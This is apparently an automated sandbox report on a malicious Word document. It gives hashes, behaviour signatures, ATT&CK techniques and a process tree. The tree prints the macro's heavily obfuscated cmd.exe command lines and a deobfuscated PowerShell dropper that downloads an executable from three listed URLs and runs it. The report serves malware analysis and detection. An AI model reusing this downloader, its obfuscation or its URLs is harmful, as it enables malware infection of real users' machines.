18fcb8604dc88c010d786be917f618a461876f5db6f80f1f8a64bc3b8fe48a98

Resubmissions

24-07-2023 06:32

230724-haylwaag65 10

16-07-2023 18:15

230716-wwbacshb7z 10

Analysis

max time kernel
119s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
24-07-2023 06:32

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Report Analysis Logs

General

Target

2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc
Size

181KB
MD5

5f894602e88263e34dcdbb2eb2da3078
SHA1

c4b7c33fd3ff360cee29eaa67705dc79e4a24fdb
SHA256

2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade
SHA512

7c5c71e599c360e43e134e0a0982bf36a1c1503956b4b72654bac8777d5cfb2417602db88fe225ef53f4b674ac22d187c951cd3519cbd628527c8880ea63cff1
SSDEEP

1536:fe/zONq+YIv920aPPg8cmg8/TtMO80mlop3KGyIs+aiyLZMcj0TCYkd3gPdz1TW2:WoVBaPPg87gi8Bo7OwTkxmz1Cz/ptM

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png

exe.dropper

https://www.cornink.com/wp-content/templates/dzsttm.png

exe.dropper

https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1524	2428	Cmd.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

49 3272 powershell.exe
50 3272 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs

Processes:

Cmd.execmd.exe

pid process

1524 Cmd.exe
4136 cmd.exe

flow	pid	process
49	3272	powershell.exe
50	3272	powershell.exe

pid	process
1524	Cmd.exe
4136	cmd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2428 WINWORD.EXE
2428 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3272 powershell.exe
3272 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3272 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

2428 WINWORD.EXE
2428 WINWORD.EXE
2428 WINWORD.EXE
2428 WINWORD.EXE
2428 WINWORD.EXE
2428 WINWORD.EXE
2428 WINWORD.EXE

pid	process
2428	WINWORD.EXE
2428	WINWORD.EXE

pid	process
3272	powershell.exe
3272	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3272	powershell.exe

pid	process
2428	WINWORD.EXE
2428	WINWORD.EXE
2428	WINWORD.EXE
2428	WINWORD.EXE
2428	WINWORD.EXE
2428	WINWORD.EXE
2428	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXECmd.execmd.exe

description	pid	process	target process
PID 2428 wrote to memory of 1524	2428	WINWORD.EXE	Cmd.exe
PID 2428 wrote to memory of 1524	2428	WINWORD.EXE	Cmd.exe
PID 1524 wrote to memory of 4136	1524	Cmd.exe	cmd.exe
PID 1524 wrote to memory of 4136	1524	Cmd.exe	cmd.exe
PID 4136 wrote to memory of 3272	4136	cmd.exe	powershell.exe
PID 4136 wrote to memory of 3272	4136	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2356c0cbe09585e025c3fdfae9a004c20f3f4d9d0ff4a89d5add85974f0afade.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2428

C:\Windows\SYSTEM32\Cmd.exe
Cmd VpwTzjhzWiEHlb nAWrqowVktzVzcirvOizczlm ZDAjcrBXXsVSp & %co^m^S^p^E^c% /c %lOcaLaPPdATa:~ -3, -2%^M%pRogRaMDatA:~-4, +1%, , /^V^:oN ^ , /^r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\system32\cmd.exe
cMD , , /V:oN , /r" , (^SE^T j^y=^Wy ^4t xC od^ o2 Id 1e ^v^9 UD WM Qn^ BR bG QJ^ m^L^ ^j^H^ z ^H^7^}pU}JA{Gjh^aTc^2At^zoaY^Q^cci^}4^M;^YGk5ka^e^6^eH^jrX^C^b^yL;^o^yiLb^R^JisT^c^$bF z^2^s^e^xsr^WeR^fcRWonAr^vFPsp-T^Gtb^Lr^ala^y^V^tMdSg^B;3^j^)^cPi^I^rRkKs^ b$IN^ x^b,qth^TvNw8H^4e^$^e^X^(d^H^e^k^Al7D^i9cFLAd^24aN9owClA^cnRJw3Ho0^O^D^F^5.j^7^Dj^kV^a^xjp^L$oX{Rg^y^j^Fr^v^ItOC{gn^)^gnBG^sqSdCvt$^vO^ ^Yn32iYK^ ^v^6h LN^4^BH^Ty$^Y1^(d^bh^T^tch^V^aax^ex^b^rx^9oS^ ^fh^1^;^F^l'wj^eoG^xbZeLn.l^u'^C8^+y^Eiv6XU^vEv9^$X^J^+r^T^'^9s\e^F^'7Q+wd^p^IAm^ vep^ktq^Y:^aF^vN^TnOMe2n$kN=W^Vi27^R^ z^s^5^p$bh;Nc'^f^x^6^e^L9C^F6o9^'T^r^ ji^=6m 4ri^tI^X^kJ^E^KX$XG^;N^M^)Sr'DJ^@7^O'^ph^(6lt9^e^i32^l^d3^pF^8^S^F^4^.^E^f^'V^B^g2^ n^qB^p^75^.^MUc^w7^maGk^9LsxMoRN^h^moy1^g/Z^2t^u^4t^c^7^tj8^/Fe^t^4pn^E^Ie^ C^t^8Dn9qo1NcL^ ^-f^vp6^GwH^r^/QEg9Tr^3no9^5.^W^Vb1kyz^BcS^7nSfe^c9i^7^6^l4^y^a^t^j.t^isDKsR4eY3^r5^Vp^Z^5cd9t^5 ^oo^6/^DB/s^G^:^u^ls^U^3pZ^0tlNt9ahL1^@^Gkgi7ne0p^M^V.R^C^m^v^W^tZ^ot^Z4sbhz4Pd^oT/^Rks^0 en^1^t^0g^awd^ldW^pR^tm^e2eJ^T^t8^0/wP^tIRn^D^jeU^H^t^GIn^CFoZm^cnS-^yMp uw9^g^/^i^k^mk9oi^7^cLY.hXk^O3n^MZilQnn^v^r8Boysc^Yu.35^w^Z^0wS^Fw8l/Ae/3B:d^ss9^f^p0ht^C3tlChwk@DO^g8rnPmpod.a^p^qd^C^wdpw^ZSj6Hq6i/^WI^s^Urer^st^s^vam^vl^2Lpk^8mn^V^e^wLt^al/5Ms^F^S^d^woat^K^oV ^lH^CpPI^u^6x/fht^SAn^Qt^e^bZ^t^E8ni4^oQOcE^f-uR^pN^Fw7r^/6^i^ms^Po^2^vc^Kb.gNypb^r^PwaL^z^i^l^Gd^Zzs2aeML^cOYn^7^J^e^CqrUi^eXEf^P^ZncwoWCcj^C/4s^/^R9^:^q^fs^o1p^Mrtoat8Q^hFy^'Rl=Y^DB^ugq^RF^Cr^o$xn;pL^tl7nz^ce^M^Gi^jp^l^ ^qC^i^2b^7^Ve^v WQ^e.Ku^tODe^XgNVe e^qt^jSc0Xe2X^j^mObHyo^Wy-0lw^T^ReMAnbg^=^u^oD^e^3V^07^jwt$e^J^ 3^wl7alfGe^QehMj^sr^drP^IeEXwB^0o^l^yp)& , , , fO^R , ,, /^L, , %^9 , , , ^IN, , , (117^2, ,,-^3 ,^+2^ ,^ ^ ^, ) , , ^DO ,,( ,, , (,s^e^t ^aHx=!^aHx!!j^y:~%^9, 1!) , , , )&, , iF , ,%^9 , , ,, ,E^qU ,, ,^2 , , , ( , ( , (^cA^LL ,,%^aHx:~ ^+^5% ) ,) , , , ) "
3⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:4136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $jVD=new-object Net.WebClient;$CqB='https://conferencesdiary.com/wp-content/uploads/templates/qjwwq.png@https://www.cornink.com/wp-content/templates/dzsttm.png@https://otcpress.aliencyb.org/wp-content/ttt/yhoskmc.png'.Split('@');$EXi = '696';$sRi=$env:temp+'\'+$EXi+'.exe';foreach($HNh in $CqB){try{$jVD.DownloadFile($HNh, $sRi);Start-Process $sRi;break;}catch{}}
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3272

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y0bdwx54.4nb.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2428-151-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-228-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-136-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-152-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-139-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-137-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-140-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-141-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-142-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-143-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-144-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-145-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-147-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-148-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-146-0x00007FFBE1090000-0x00007FFBE10A0000-memory.dmp

Filesize
64KB

Download
memory/2428-149-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-150-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-133-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-138-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-134-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-155-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-154-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-156-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-229-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-135-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-153-0x00007FFBE1090000-0x00007FFBE10A0000-memory.dmp

Filesize
64KB

Download
memory/2428-227-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-193-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-226-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-195-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/2428-225-0x00007FFBE30F0000-0x00007FFBE3100000-memory.dmp

Filesize
64KB

Download
memory/2428-204-0x00007FFC23070000-0x00007FFC23265000-memory.dmp

Filesize
2.0MB

Download
memory/3272-200-0x00007FFBF56A0000-0x00007FFBF6161000-memory.dmp

Filesize
10.8MB

Download
memory/3272-194-0x000002C0F2C60000-0x000002C0F2C70000-memory.dmp

Filesize
64KB

Download
memory/3272-192-0x000002C0F2C60000-0x000002C0F2C70000-memory.dmp

Filesize
64KB

Download
memory/3272-191-0x00007FFBF56A0000-0x00007FFBF6161000-memory.dmp

Filesize
10.8MB

Download
memory/3272-186-0x000002C0F2BE0000-0x000002C0F2C02000-memory.dmp

Filesize
136KB

Download